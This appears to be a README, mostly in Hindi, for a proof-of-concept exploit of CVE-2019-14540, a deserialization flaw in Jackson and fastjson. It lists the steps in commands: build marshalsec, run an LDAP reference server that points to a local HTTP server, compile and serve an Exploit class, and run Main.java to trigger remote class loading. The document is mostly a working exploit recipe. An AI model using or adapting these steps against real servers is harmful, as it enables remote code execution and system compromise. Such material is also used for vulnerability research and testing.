CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

पर्यावरण सीमा: क्योंकि यह डेमो jndi के ldap उपयोग विधि का उपयोग करता है, इसलिए कम संस्करण (8u191 से कम) के jdk का उपयोग करना आवश्यक है।

1. marshalsec का उपयोग करके, स्थानीय 1389 पोर्ट पर ldap सेवा बनाएं, जो स्थानीय 8000 की http सेवा को इंगित करती है।

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. remote_codebase में दूरस्थ लोडिंग के लिए कोड संकलित करें।

cd remote_codebase
javac Exploit.java

3. remote_codebase में स्थानीय 8000 की http सेवा प्रारंभ करें।

cd remote_codebase
python -m SimpleHTTPServer

4. Main.java चलाएं, jackson और fastjson का उपयोग करके डिसीरियलाइज़ेशन द्वारा भेद्यता को ट्रिगर करें।